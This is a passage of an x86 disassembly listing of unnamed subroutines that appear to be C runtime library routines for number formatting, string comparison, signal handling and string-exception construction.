jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC004 mov eax, offset dword_4DC004 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC000 mov eax, offset dword_4DC000 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC008 mov eax, offset dword_4DC008 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DBFFC mov eax, offset dword_4DBFFC loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBE9C and dword_4DBE9C, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4CC mov dword_43D4CC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4C0 mov ecx, dword_43D4C4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D450h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4CC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBE9C, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4CC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D44C, edx push esi mov eax, offset dword_43D448 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDDC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDDC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D828 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D988 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: ___:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: ___:00427C94o ; ___:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: ___:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: ___:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: ___:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: ___:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: ___:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: ___:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4262F6 proc near ; DATA XREF: ___:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: ___:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: ___:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; ___:00415771p ... jmp near ptr 71AB1B7Bh sub_426350 endp ; --------------------------------------------------------------------------- dec esi ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p nop jmp near ptr 28420B2h sub_426356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: ___:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE84, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: ___:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: ___:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: ___:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: ___:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: ___:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr [edi+4] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; 